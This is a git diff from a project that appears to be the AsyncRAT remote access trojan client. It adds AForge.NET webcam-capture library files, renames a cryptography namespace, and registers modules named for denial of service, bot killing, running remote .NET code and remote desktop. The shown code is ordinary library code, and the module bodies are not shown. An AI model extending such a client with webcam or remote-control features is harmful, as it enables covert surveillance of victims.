/// Specifies a line pin for audio.
|
||||||
|
/// </summary>
|
||||||
|
AudioLine,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a microphone pin.
|
||||||
|
/// </summary>
|
||||||
|
AudioMic,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio.
|
||||||
|
/// </summary>
|
||||||
|
AudioAESDigital,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio.
|
||||||
|
/// </summary>
|
||||||
|
AudioSPDIFDigital,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a SCSI pin for audio.
|
||||||
|
/// </summary>
|
||||||
|
AudioSCSI,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an AUX pin for audio.
|
||||||
|
/// </summary>
|
||||||
|
AudioAUX,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an IEEE 1394 pin for audio.
|
||||||
|
/// </summary>
|
||||||
|
Audio1394,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a USB pin for audio.
|
||||||
|
/// </summary>
|
||||||
|
AudioUSB,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an audio decoder pin.
|
||||||
|
/// </summary>
|
||||||
|
AudioDecoder
|
||||||
|
}
|
||||||
|
}
|
55
AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs
Normal file
55
AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs
Normal file
@ -0,0 +1,55 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2008
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// DirectShow filter categories.
|
||||||
|
/// </summary>
|
||||||
|
[ComVisible( false )]
|
||||||
|
public static class FilterCategory
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Audio input device category.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_AudioInputDeviceCategory.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid AudioInputDevice =
|
||||||
|
new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Video input device category.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_VideoInputDeviceCategory.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid VideoInputDevice =
|
||||||
|
new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Video compressor category.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_VideoCompressorCategory.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid VideoCompressorCategory =
|
||||||
|
new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Audio compressor category
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_AudioCompressorCategory.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid AudioCompressorCategory =
|
||||||
|
new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||||
|
}
|
||||||
|
}
|
245
AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs
Normal file
245
AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs
Normal file
@ -0,0 +1,245 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2013
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
using AForge.Video;
|
||||||
|
using AForge.Video.DirectShow.Internals;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Capabilities of video device such as frame size and frame rate.
|
||||||
|
/// </summary>
|
||||||
|
public class VideoCapabilities
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Frame size supported by video device.
|
||||||
|
/// </summary>
|
||||||
|
public readonly Size FrameSize;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Frame rate supported by video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks><para><note>This field is depricated - should not be used.
|
||||||
|
/// Its value equals to <see cref="AverageFrameRate"/>.</note></para>
|
||||||
|
/// </remarks>
|
||||||
|
///
|
||||||
|
[Obsolete( "No longer supported. Use AverageFrameRate instead." )]
|
||||||
|
public int FrameRate
|
||||||
|
{
|
||||||
|
get { return AverageFrameRate; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Average frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||||
|
/// </summary>
|
||||||
|
public readonly int AverageFrameRate;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Maximum frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
|
||||||
|
/// </summary>
|
||||||
|
public readonly int MaximumFrameRate;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Number of bits per pixel provided by the camera.
|
||||||
|
/// </summary>
|
||||||
|
public readonly int BitCount;
|
||||||
|
|
||||||
|
internal VideoCapabilities( ) { }
|
||||||
|
|
||||||
|
// Retrieve capabilities of a video device
|
||||||
|
static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig )
|
||||||
|
{
|
||||||
|
if ( videoStreamConfig == null )
|
||||||
|
throw new ArgumentNullException( "videoStreamConfig" );
|
||||||
|
|
||||||
|
// ensure this device reports capabilities
|
||||||
|
int count, size;
|
||||||
|
int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size );
|
||||||
|
|
||||||
|
if ( hr != 0 )
|
||||||
|
Marshal.ThrowExceptionForHR( hr );
|
||||||
|
|
||||||
|
if ( count <= 0 )
|
||||||
|
throw new NotSupportedException( "This video device does not report capabilities." );
|
||||||
|
|
||||||
|
if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) )
|
||||||
|
throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." );
|
||||||
|
|
||||||
|
// group capabilities with similar parameters
|
||||||
|
Dictionary<uint, VideoCapabilities> videocapsList = new Dictionary<uint, VideoCapabilities>( );
|
||||||
|
|
||||||
|
for ( int i = 0; i < count; i++ )
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i );
|
||||||
|
|
||||||
|
uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) |
|
||||||
|
( ( (uint) vc.FrameSize.Width ) << 16 );
|
||||||
|
|
||||||
|
if ( !videocapsList.ContainsKey( key ) )
|
||||||
|
{
|
||||||
|
videocapsList.Add( key, vc );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if ( vc.BitCount > videocapsList[key].BitCount )
|
||||||
|
{
|
||||||
|
videocapsList[key] = vc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count];
|
||||||
|
videocapsList.Values.CopyTo( videocaps, 0 );
|
||||||
|
|
||||||
|
return videocaps;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Retrieve capabilities of a video device
|
||||||
|
internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index )
|
||||||
|
{
|
||||||
|
AMMediaType mediaType = null;
|
||||||
|
VideoStreamConfigCaps caps = new VideoStreamConfigCaps( );
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// retrieve capabilities struct at the specified index
|
||||||
|
int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps );
|
||||||
|
|
||||||
|
if ( hr != 0 )
|
||||||
|
Marshal.ThrowExceptionForHR( hr );
|
||||||
|
|
||||||
|
if ( mediaType.FormatType == FormatType.VideoInfo )
|
||||||
|
{
|
||||||
|
VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) );
|
||||||
|
|
||||||
|
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
|
||||||
|
BitCount = videoInfo.BmiHeader.BitCount;
|
||||||
|
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
|
||||||
|
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
|
||||||
|
}
|
||||||
|
else if ( mediaType.FormatType == FormatType.VideoInfo2 )
|
||||||
|
{
|
||||||
|
VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) );
|
||||||
|
|
||||||
|
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
|
||||||
|
BitCount = videoInfo.BmiHeader.BitCount;
|
||||||
|
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
|
||||||
|
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw new ApplicationException( "Unsupported format found." );
|
||||||
|
}
|
||||||
|
|
||||||
|
// ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8
|
||||||
|
// TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail
|
||||||
|
// on such formats
|
||||||
|
if ( BitCount <= 12 )
|
||||||
|
{
|
||||||
|
throw new ApplicationException( "Unsupported format found." );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
if ( mediaType != null )
|
||||||
|
mediaType.Dispose( );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Check if the video capability equals to the specified object.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="obj">Object to compare with.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Returns true if both are equal are equal or false otherwise.</returns>
|
||||||
|
///
|
||||||
|
public override bool Equals( object obj )
|
||||||
|
{
|
||||||
|
return Equals( obj as VideoCapabilities );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Check if two video capabilities are equal.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="vc2">Second video capability to compare with.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Returns true if both video capabilities are equal or false otherwise.</returns>
|
||||||
|
///
|
||||||
|
public bool Equals( VideoCapabilities vc2 )
|
||||||
|
{
|
||||||
|
if ( (object) vc2 == null )
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get hash code of the object.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Returns hash code ot the object </returns>
|
||||||
|
public override int GetHashCode( )
|
||||||
|
{
|
||||||
|
return FrameSize.GetHashCode( ) ^ BitCount;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Equality operator.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="a">First object to check.</param>
|
||||||
|
/// <param name="b">Seconds object to check.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return true if both objects are equal or false otherwise.</returns>
|
||||||
|
public static bool operator ==( VideoCapabilities a, VideoCapabilities b )
|
||||||
|
{
|
||||||
|
// if both are null, or both are same instance, return true.
|
||||||
|
if ( object.ReferenceEquals( a, b ) )
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// if one is null, but not both, return false.
|
||||||
|
if ( ( (object) a == null ) || ( (object) b == null ) )
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return a.Equals( b );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Inequality operator.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="a">First object to check.</param>
|
||||||
|
/// <param name="b">Seconds object to check.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return true if both objects are not equal or false otherwise.</returns>
|
||||||
|
public static bool operator !=( VideoCapabilities a, VideoCapabilities b )
|
||||||
|
{
|
||||||
|
return !( a == b );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
1698
AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs
Normal file
1698
AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs
Normal file
File diff suppressed because it is too large
Load Diff
47
AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs
Normal file
47
AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2012
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Video input of a capture board.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks><para>The class is used to describe video input of devices like video capture boards,
|
||||||
|
/// which usually provide several inputs.</para>
|
||||||
|
/// </remarks>
|
||||||
|
///
|
||||||
|
public class VideoInput
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Index of the video input.
|
||||||
|
/// </summary>
|
||||||
|
public readonly int Index;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Type of the video input.
|
||||||
|
/// </summary>
|
||||||
|
public readonly PhysicalConnectorType Type;
|
||||||
|
|
||||||
|
internal VideoInput( int index, PhysicalConnectorType type )
|
||||||
|
{
|
||||||
|
Index = index;
|
||||||
|
Type = type;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Default video input. Used to specify that it should not be changed.
|
||||||
|
/// </summary>
|
||||||
|
public static VideoInput Default
|
||||||
|
{
|
||||||
|
get { return new VideoInput( -1, PhysicalConnectorType.Default ); }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
126
AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs
Normal file
126
AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs
Normal file
@ -0,0 +1,126 @@
|
|||||||
|
// AForge Video Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2005-2009
|
||||||
|
// andrew.kirillov@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Video source interface.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>The interface describes common methods for different type of video sources.</remarks>
|
||||||
|
///
|
||||||
|
public interface IVideoSource
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// New frame event.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks><para>This event is used to notify clients about new available video frame.</para>
|
||||||
|
///
|
||||||
|
/// <para><note>Since video source may have multiple clients, each client is responsible for
|
||||||
|
/// making a copy (cloning) of the passed video frame, but video source is responsible for
|
||||||
|
/// disposing its own original copy after notifying of clients.</note></para>
|
||||||
|
/// </remarks>
|
||||||
|
///
|
||||||
|
event NewFrameEventHandler NewFrame;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Video source error event.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>This event is used to notify clients about any type of errors occurred in
|
||||||
|
/// video source object, for example internal exceptions.</remarks>
|
||||||
|
///
|
||||||
|
event VideoSourceErrorEventHandler VideoSourceError;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Video playing finished event.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks><para>This event is used to notify clients that the video playing has finished.</para>
|
||||||
|
/// </remarks>
|
||||||
|
///
|
||||||
|
event PlayingFinishedEventHandler PlayingFinished;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Video source.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>The meaning of the property depends on particular video source.
|
||||||
|
/// Depending on video source it may be a file name, URL or any other string
|
||||||
|
/// describing the video source.</remarks>
|
||||||
|
///
|
||||||
|
string Source { get; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Received frames count.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Number of frames the video source provided from the moment of the last
|
||||||
|
/// access to the property.
|
||||||
|
/// </remarks>
|
||||||
|
///
|
||||||
|
int FramesReceived { get; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Received bytes count.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Number of bytes the video source provided from the moment of the last
|
||||||
|
/// access to the property.
|
||||||
|
/// </remarks>
|
||||||
|
///
|
||||||
|
long BytesReceived { get; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// State of the video source.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Current state of video source object - running or not.</remarks>
|
||||||
|
///
|
||||||
|
bool IsRunning { get; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Start video source.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Starts video source and return execution to caller. Video source
|
||||||
|
/// object creates background thread and notifies about new frames with the
|
||||||
|
/// help of <see cref="NewFrame"/> event.</remarks>
|
||||||
|
///
|
||||||
|
void Start( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Signal video source to stop its work.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Signals video source to stop its background thread, stop to
|
||||||
|
/// provide new frames and free resources.</remarks>
|
||||||
|
///
|
||||||
|
void SignalToStop( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Wait for video source has stopped.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Waits for video source stopping after it was signalled to stop using
|
||||||
|
/// <see cref="SignalToStop"/> method.</remarks>
|
||||||
|
///
|
||||||
|
void WaitForStop( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Stop video source.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Stops video source aborting its thread.</remarks>
|
||||||
|
///
|
||||||
|
void Stop( );
|
||||||
|
}
|
||||||
|
}
|
125
AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs
Normal file
125
AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs
Normal file
@ -0,0 +1,125 @@
|
|||||||
|
// AForge Video Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2011
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Delegate for new frame event handler.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="sender">Sender object.</param>
|
||||||
|
/// <param name="eventArgs">Event arguments.</param>
|
||||||
|
///
|
||||||
|
public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Delegate for video source error event handler.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="sender">Sender object.</param>
|
||||||
|
/// <param name="eventArgs">Event arguments.</param>
|
||||||
|
///
|
||||||
|
public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Delegate for playing finished event handler.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="sender">Sender object.</param>
|
||||||
|
/// <param name="reason">Reason of finishing video playing.</param>
|
||||||
|
///
|
||||||
|
public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reason of finishing video playing.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks><para>When video source class fire the <see cref="IVideoSource.PlayingFinished"/> event, they
|
||||||
|
/// need to specify reason of finishing video playing. For example, it may be end of stream reached.</para></remarks>
|
||||||
|
///
|
||||||
|
public enum ReasonToFinishPlaying
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Video playing has finished because it end was reached.
|
||||||
|
/// </summary>
|
||||||
|
EndOfStreamReached,
|
||||||
|
/// <summary>
|
||||||
|
/// Video playing has finished because it was stopped by user.
|
||||||
|
/// </summary>
|
||||||
|
StoppedByUser,
|
||||||
|
/// <summary>
|
||||||
|
/// Video playing has finished because the device was lost (unplugged).
|
||||||
|
/// </summary>
|
||||||
|
DeviceLost,
|
||||||
|
/// <summary>
|
||||||
|
/// Video playing has finished because of some error happened the video source (camera, stream, file, etc.).
|
||||||
|
/// A error reporting event usually is fired to provide error information.
|
||||||
|
/// </summary>
|
||||||
|
VideoSourceError
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Arguments for new frame event from video source.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
public class NewFrameEventArgs : EventArgs
|
||||||
|
{
|
||||||
|
private System.Drawing.Bitmap frame;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="NewFrameEventArgs"/> class.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="frame">New frame.</param>
|
||||||
|
///
|
||||||
|
public NewFrameEventArgs( System.Drawing.Bitmap frame )
|
||||||
|
{
|
||||||
|
this.frame = frame;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// New frame from video source.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
public System.Drawing.Bitmap Frame
|
||||||
|
{
|
||||||
|
get { return frame; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Arguments for video source error event from video source.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
public class VideoSourceErrorEventArgs : EventArgs
|
||||||
|
{
|
||||||
|
private string description;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="VideoSourceErrorEventArgs"/> class.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="description">Error description.</param>
|
||||||
|
///
|
||||||
|
public VideoSourceErrorEventArgs( string description )
|
||||||
|
{
|
||||||
|
this.description = description;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Video source error description.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
public string Description
|
||||||
|
{
|
||||||
|
get { return description; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -6,7 +6,7 @@ using System.Runtime.CompilerServices;
|
|||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
|
|
||||||
namespace Client.Cryptography
|
namespace Client.Algorithm
|
||||||
{
|
{
|
||||||
public class Aes256
|
public class Aes256
|
||||||
{
|
{
|
@ -1,7 +1,7 @@
|
|||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
|
|
||||||
namespace Client.Cryptography
|
namespace Client.Algorithm
|
||||||
{
|
{
|
||||||
public static class Sha256
|
public static class Sha256
|
||||||
{
|
{
|
@ -72,12 +72,46 @@
|
|||||||
<Reference Include="System.XML" />
|
<Reference Include="System.XML" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Compile Include="Cryptography\Aes256.cs" />
|
<Compile Include="AForge\Video.DirectShow\CameraControlProperty.cs" />
|
||||||
<Compile Include="Cryptography\Sha256.cs" />
|
<Compile Include="AForge\Video.DirectShow\FilterInfo.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\FilterInfoCollection.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IAMCameraControl.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IAMCrossbar.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IAMStreamConfig.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IAMVideoControl.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IBaseFilter.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\ICaptureGraphBuilder2.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\ICreateDevEnum.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IEnumFilters.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IEnumPins.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph2.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IGraphBuilder.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IMediaControl.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IMediaEventEx.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IPin.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IPropertyBag.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\IReferenceClock.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabber.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabberCB.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\ISpecifyPropertyPages.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\Structures.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\Uuids.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Internals\Win32.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\PhysicalConnectorType.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\Uuids.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\VideoCapabilities.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\VideoCaptureDevice.cs" />
|
||||||
|
<Compile Include="AForge\Video.DirectShow\VideoInput.cs" />
|
||||||
|
<Compile Include="AForge\Video\IVideoSource.cs" />
|
||||||
|
<Compile Include="AForge\Video\VideoEvents.cs" />
|
||||||
|
<Compile Include="Algorithm\Aes256.cs" />
|
||||||
|
<Compile Include="Algorithm\Sha256.cs" />
|
||||||
<Compile Include="Handle Packet\HandleBlankScreen.cs" />
|
<Compile Include="Handle Packet\HandleBlankScreen.cs" />
|
||||||
<Compile Include="Handle Packet\HandleBotKiller.cs" />
|
<Compile Include="Handle Packet\HandleBotKiller.cs" />
|
||||||
<Compile Include="Handle Packet\HandleDos.cs" />
|
<Compile Include="Handle Packet\HandleDos.cs" />
|
||||||
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
||||||
|
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" />
|
||||||
<Compile Include="Handle Packet\HandlerExecuteDotNetCode.cs" />
|
<Compile Include="Handle Packet\HandlerExecuteDotNetCode.cs" />
|
||||||
<Compile Include="Handle Packet\HandleThumbnails.cs" />
|
<Compile Include="Handle Packet\HandleThumbnails.cs" />
|
||||||
<Compile Include="Handle Packet\HandlePcOptions.cs" />
|
<Compile Include="Handle Packet\HandlePcOptions.cs" />
